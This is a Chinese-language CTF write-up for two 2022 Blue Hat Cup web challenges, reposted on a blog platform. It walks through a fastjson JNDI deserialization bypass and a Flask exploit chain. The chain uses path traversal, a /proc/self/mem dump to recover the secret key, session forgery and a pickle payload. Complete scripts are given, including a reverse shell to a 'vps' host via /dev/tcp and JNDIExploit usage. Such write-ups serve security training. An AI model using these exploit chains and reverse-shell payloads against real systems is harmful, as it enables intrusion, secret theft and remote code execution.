Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >2022蓝帽杯wep-WP

2022蓝帽杯wep-WP

作者头像
h0cksr
发布于 2023-05-18 00:57:46
发布于 2023-05-18 00:57:46
34100
代码可运行
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋
运行总次数:0
代码可运行

2022蓝帽杯wep-WP

一点闲话:

web一天白打工,这次的蓝帽几乎就是取证大爹们的主场,web题一共只有两道,一道题简单的fastjson1.2.62反序列化加一道读内存和pickle反序列化,思路都不复杂,但属实是被环境问题整麻了…不管怎么说还是记录一下吧

Ez_gadget

这个题有点麻瓜,我不管在本地还是题目环境下unicode绕过rmi等协议的关键字后都不会发出连接请求,但是赛后问了下其他一些师傅很多都是用成功unicode绕过的(无话可说),不知道为什么unicode绕过修改ldap关键字失败了但是经过atao师傅指导说可以直接用换行绕过的方法绕过ldap链接的检测,试了一下换行确实每次都没问题

file_session

这个题环境搞心态,不知道为什么一直不会读取到session中的data,赛后问了几个师傅都是说本地是可以打通的,但是到题目环境就没成功过,下面是我本地测试的POC构建过程.

队伍完整WP见奇安信攻防社区: 2022蓝帽杯初赛WriteUp

Web

Ez_gadget

题目内容:听说有一个快的json组件有危险,但是flag被我放在了root的flag.txt下诶,你能找到么?

jar包附件下载:https://share.weiyun.com/v3yXxl87

题目源码逻辑很简单,就是一个绕过后的fastjson反序列化

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.spring;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JSONController {
    public JSONController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String hello() {
        return "Your key is:" + secret.getKey();
    }

    @ResponseBody
    @RequestMapping({"/json"})
    public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
        if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
            String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*";
            Pattern p = Pattern.compile(pattern, 2);
            boolean StrMatch = p.matcher(input).matches();
            if (StrMatch) {
                return "Hacker get out!!!";
            }

            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            JSON.parseObject(input);
        }

        return "hello";
    }
}

首先要构造一个str满足hashCode相同但是字符不同

构造方法直接将第一个字符ascii码大小-1,第二个字符ascii码大小+31,以下为简易的构造脚本,原理可以看Java 构建 HashCode 相同的字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from urllib import parse

while 1:
    key=input("#")
    print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))

拿到符合条件的str参数后,构造fastjson反序列化的input参数

将str和input通过POST传输进行测试

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
str=G`xnUP8l4U0Sv7uE
&input= {
    "poc": {"@type": "java.lang.AutoCloseable","@type": "com.alibaba.fastjson.JSONReader","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://8koj8j.ai.haibara.cyou:9999"}}
}

使用JSONReader探测确认反序列化确实可用,然后使用fastjson 1.2.62(一幕环境fastjson版本)的黑名单绕过exp:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://VPS:port/Evil"}";

但是需要变一下,以绕过jndi,rmi,ldap,\x的过滤,可以使用unicode编码(其实也可以使用16进制\x,但是这里\x被过滤了)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u006c\u0064\u0061\u0070://VPS:port/Evil"}

此外对于远程资源加载的Pattern.compile匹配我们可以使用换行%0a完成绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"%0aldap://VPS:port/Evil"}

结合使用工具JNDIExploit最终反弹shell拿到flag

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089

详细操作可参考https://www.anquanke.com/post/id/232774

file_session

题目内容:这里可以下载“海量”的图片,不知道有没有你喜欢的图片。

根据题目提示可知有个/download路由可以任意文件读取,得到/app/app.py源码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

# apt install python3.8

@app.route('/', methods=['GET'])
def index():
    return render_template("index.html")

@app.route('/download', methods=["GET", 'POST'])
def download():
    filename = request.args.get('file', "static/image/1.jpg")
    offset = request.args.get('offset', "0")
    length = request.args.get('length', "0")
    if offset == "0" and length == "0":
        return open(filename, "rb").read()
    else:
        offset, length = int(offset), int(length)
        f = open(filename, "rb")
        f.seek(offset)
        ret_data = f.read(length)
        return ret_data

@app.route('/filelist', methods=["GET"])
def filelist():
    return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"

@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
    if session.get('data'):
        data = _loads(base64.b64decode(session['data']))
        return data
    session["data"] = base64.b64encode(b"error")
    return 'admin pickle'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

内容不多,就两个点:

  1. /download路由可以指定文件和偏移进行文件内容读取
  2. /admin_pickle_load路由会反序列化session中的data数据

所以我们要伪造session,那么首先就要获取SECRET_KEY,这里用的是内存读取

解题步骤就是

  1. 根据/proc/self/maps获取内存情况然后从/proc/self/mem读取指定偏移的内存数据
  2. 从内存中取出被作为SECRET_KEY的UUID
  3. 伪造session
  4. 将反弹shell的反序列化数据加入到session的data中
  5. 监听端口接收反弹的shell

下载内存数据到./save目录下:

dump.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import os,requests,re

def dowload(file,offset=0,length=0):
    if offset:
        res=requests.get(f"{url}download?file=../../../../..{file}&offset={offset}&length={length}")
    else:
        res = requests.get(f"{url}download?file=../../../../..{file}")
    text=res.text
    return text

os.system("rm -rf ./save;mkdir save")
url=input("url:#")
for i in dowload("/proc/self/maps").split("\n"):
    if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
        continue
    t = re.match(r"[0-9-abcdef]*", i)
    location = t.group().split("-")
    try:
        start, end="0x"+location[0],"0x"+location[1]
    except:
        continue
    print("./save/"+start+"-"+end)
    save = open(
        "./save/"+start+"-"+end,"wb"
    )
    save.write(
        dowload(
            "/proc/self/mem",
            str(int(start,16)),
            str(int(end,16)-int(start,16))
        ).encode()
    )
    save.close()

对内存数据进行UUID正则匹配,获取全部UUID存放到./keys文件中:

grep.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import os
import re

os.system("rm keys")
dir=str(os.listdir('./save'))
dir=dir[1:-2:].replace("'","").replace(" ","").split(",")
print("Dir::=>",)
for i in dir:
    print(i)

print("Start"+"-"*100)

for f in dir:
    if f=="":
        continue
    print("Now is File::=>",f,"-"*50)
    lines=open("./save/"+f,"rb").readlines()
    for line in lines:

        t=re.findall(
            rb"[0-9abcdef]{8}-[0-9abcdef]{4}-[0-9abcdef]{4}-[0-9abcdef]{4}-[0-9-abcdef]{12}",
            line
        )
        for i in t:
            print(i.decode())
            file = open("keys", "ab")
            if i not in open("keys","rb").read():
                file.write(i+b"\n")
            else:
                print(i.decode()+" Is Haven")
            file.close()

通过./keys逐个取出key然后结合工具flask_session_cookie_manager生成伪造的session(里面有要反序列化的data数据)后全部存到sessions数组中,再逐个带着生成的session访问/admin_pickle_load进行反序列化(注意提前打开监听)

poc.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import base64
import os
import pickle
import requests

class test(object):
    def __reduce__(self):
        return (__import__('os').system, ("""
bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'
        """,))

data=base64.b64encode(pickle.dumps(test())).decode()
os.system("rm sessions")
for key in open("keys","r").readlines():
    key=key.replace("\n","")
    cmd = """python3 flask_session_cookie_manager3.py encode -s '%s' -t '{"data":"%s"}' >> sessions"""%(key,data)
    print("key::=>",key)
    os.system(cmd)
sessions=open("./sessions","r").readlines()
url = input("url:#") + "admin_pickle_load"
for session in sessions:
    session=session.replace("\n","")
    # print(session)
    res=requests.get(url
                 ,cookies={"session":session}
                 )
    if res.text != "admin pickle":
        print("Suceess")
        print(res.text)
    else:
        print(res.text)
    print()

这里注意使用工具flask_session_cookie_manager伪造session的时候必须要和题目环境的python大版本相同(python2或python3,小版本可忽略),它们使用的脚本和生成的session是不一样的

按照下面顺序执行就能获得反弹的shell了:

窗口1:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -vnlp 4444

窗口2:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
vi dump.py #写入dump.py文件
python3 dump.py
#输入URL为题目URL,端口后面记得加上/
vi grep.py  #写入grep.py文件
python3 grep.py
cat keys
vi poc.py   #写入poc.py文件
python3 poc.py
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-7-10 2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CSS3随机背景图片切换特效
定义和用法 通过 @keyframes 规则,您能够创建动画。 创建动画的原理是,将一套 CSS 样式逐渐变化为另一套样式。 在动画过程中,您能够多次改变这套 CSS 样式。 以百分比来规定改变发生的时间,或者通过关键词 "from" 和 "to",等价于 0% 和 100%。 0% 是动画的开始时间,100% 动画的结束时间。 为了获得最佳的浏览器支持,您应该始终定义 0% 和 100% 选择器。 注释:请使用动画属性来控制动画的外观,同时将动画与选择器绑定。 核心css部分(记得切换图
Youngxj
2018/06/06
3.7K0
html+CSS让背景图片充满整个屏幕
大家好,又见面了,我是你们的朋友全栈君。 由于给网页设置背景图时,需要设置背景图不重复且充满整个浏览器屏幕。 给body标签指定背景图,这样背景图就可以填充整个浏览器viewport了。 其实,该方案对所有的块级容器都可以生效。块级容器的宽高是动态的,那么背景图将自动伸缩,充满整个容器。 可设置body标签的CSS样式如下: body{ /*加载背景图*/ background-image:url(./images/background.jpg);
全栈程序员站长
2022/09/06
1.8K0
CSS 背景(background)
background-image 属性允许指定一个图片展示在背景中(只有CSS3才可以多背景)可以和 background-color 连用。 如果图片不重复地话,图片覆盖不到地地方都会被背景色填充。 如果有背景图片平铺,则会覆盖背景颜色。
星辰_大海
2020/09/30
2.3K0
【CSS】CSS 总结 ③ ( CSS 背景设置 | 背景颜色 | 背景图片 | 背景图片平铺样式 | 背景图片位置 | 超大背景图片设置 | 背景附着 | 背景样式简写 | 背景半透明 ) ★
CSS 的背景颜色样式语法 : 默认的背景颜色是 transparent 透明 ;
韩曙亮
2024/03/12
5.2K0
【CSS】CSS 总结 ③ ( CSS 背景设置 | 背景颜色 | 背景图片 | 背景图片平铺样式 | 背景图片位置 | 超大背景图片设置 | 背景附着 | 背景样式简写 | 背景半透明 ) ★
必应首页平铺背景图片的实现方案
近期某个项目中需要实现以下需求: 保持背景图片原始宽高比; 如果屏幕宽高比与背景图片宽高比不一致,则以图片中心为基点等比缩放背景图片,以适应屏幕尺寸。 以上需求的原则就是始终保持背景图片宽高比,居中等比缩放填满屏幕。 我们知道background-size: cover;是在背景图片保持原始比例的基础上,等比缩放覆盖背景区域。但是缩放的基点是左上角(0,0),并不是居中缩放的。这样的机制下,屏幕显示的始终是背景图片的左上部分,并不能满足项目的需求。 后来无意中注意到必应首页的背景图片是居中平铺的,行为表现与
寒月十八
2018/01/30
1.9K0
完美的背景图全屏css代码 – background-size:cover?
归功于css3.0新增的一个属性background-size,可以简单的实现这个效果,这里用fixed和center定位背景图,然后用background-size来使图片铺满,具体css如下
双面人
2019/04/10
6.8K0
我发现了7个关于 CSS backgroundImage 好用的技巧
背景图像可能是我们所有前端开发人员在我们的职业生涯中至少使用过几次的CSS属性之一。大多数人认为背景图像不可能有任何不寻常的地方,但经过研究,答案并非如此。所以本文收集了七个我认为最有用的技巧,并创建了一些代码示例。
前端小智@大迁世界
2020/05/26
1.1K0
我发现了7个关于  CSS backgroundImage 好用的技巧
CSS3背景图片background属性简写/连写
在开发中背景属性 background 还是很常用的, background 有很多属性,如 background-color 背景颜色、 background-image 背景图像、 background-position 背景图像的位置、 background-size 背景图片的尺寸、 background-repeat 重复背景图像、 background-origin 定位区域、 background-clip 绘制区域、 background-attachment 是否固定或者跟随页面滚动。
德顺
2019/11/13
5.3K0
CSS3背景图片background属性简写/连写
移动端背景图自适应
/*兼容安卓手机没有高度导致无法显示背景图片*/ html,body{ width:100%; height:100%; } body { background: url(../../image/download.jpg); background-repeat: no-repeat; background-size: 100% 100%; -webkit-background-size: 100% 100%; background-attachment: fixed; -we
愤怒的小鸟
2021/10/14
1.8K0
css 背景图片虚化效果
转载地址:http://blog.csdn.net/ohehehou/article/details/51975539
lin_zone
2018/08/20
4.1K0
IT课程 CSS基础 023_图片、背景
图片是网页中非常重要的媒体类型,恰到好处的使用图片可以使网页多彩生动,不再局限冷冰冰的文字。
zhaoJian.Net
2024/04/03
2270
IT课程 CSS基础 023_图片、背景
html背景图片的设置宽高_网页的背景图片怎么设置
background-size:设置背景图大小,它的属性值有:cover、contain和具体的宽度和高度值 (1)cover:浏览器将使图像足够大,使它完全覆盖了盒子区,同时仍然保持其高宽比。在这种情况下,有些图像可能会跳出盒子外,也就是说图像铺满了盒子,但是会有一部分被剪切了
全栈程序员站长
2022/11/10
5.4K0
html背景图片的设置宽高_网页的背景图片怎么设置
【前端】CSS背景属性详解
background-color 属性用于定义元素的背景颜色,可以是任何合法的 CSS 颜色值,包括十六进制颜色代码、RGB、RGBA、HSL 等。元素的默认背景颜色是 transparent(透明),这意味着没有显式的背景颜色。
CSDN-Z
2025/06/01
1180
【前端】CSS背景属性详解
css设置背景图片大小自适应_css设置整个页面背景图片
background-image:url(food.jpg);一张图片铺满一行 background-repeat:repeat-x;同一张图片多张铺满横向
全栈程序员站长
2022/09/20
3.3K0
css设置背景图片大小自适应_css设置整个页面背景图片
【Web前端】CSS背景与边框
网页设计中,背景和边框是用于提升视觉效果的关键元素。CSS(层叠样式表)提供了丰富的功能来定制这些视觉效果,确保网页看起来既美观又符合设计需求。
一条晒干的咸鱼
2024/11/19
1480
【Web前端】CSS背景与边框
前端学习(8)~css学习(二):背景属性
光学显示器中,每个像素都是由三原色的发光原件组成的,靠明亮度不同调成不同的颜色的。r、g、b的值,每个值的取值范围0~255,一共256个值。
Vincent-yuan
2020/02/25
1.5K0
前端学习(8)~css学习(二):背景属性
CSS背景图像,镜像翻转、缩放、背景偏移与定位、文字溢出处理
此处,rotateY(180deg) 这里的 Y 表示元素以Y轴镜像翻转,也即水平翻转;同理,  rotateX(180deg) 表示以X轴为镜像翻转,即垂直翻转。
AlexTao
2020/05/09
19.3K0
【CSS】CSS 背景设置 ⑦ ( 背景简写 )
使用 CSS 样式设置 盒子 背景时 , 需要 设置多个 CSS 样式 , 设置 背景图片 , 平铺模式 , 定位方式 , 附着方式 等 , 下面是一个完整的图片背景设置的代码 , 代码很繁琐 ;
韩曙亮
2023/03/30
3K0
【CSS】CSS 背景设置 ⑦ ( 背景简写 )
CSS3实现毛玻璃效果
最近在开发个人博客的时候,在网上学到了一种CSS特效---毛玻璃 感觉还是比较实用下面将这种特效分享给大家。 如下图,我的后台登录界面表单部分就是毛玻璃效果 有时候这种特效很有用,可以达到一种朦胧的效果,接下来我们来看看如何实现它
切图仔
2022/09/08
1K0
CSS3实现毛玻璃效果
【原创】CSS处理文本以及背景图片
一.文本常用属性: 1.文本颜色:color属性 2.文本字体:font-family属性,可以对应多个属性值。
零点
2023/03/03
9570
推荐阅读
相关推荐
CSS3随机背景图片切换特效
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验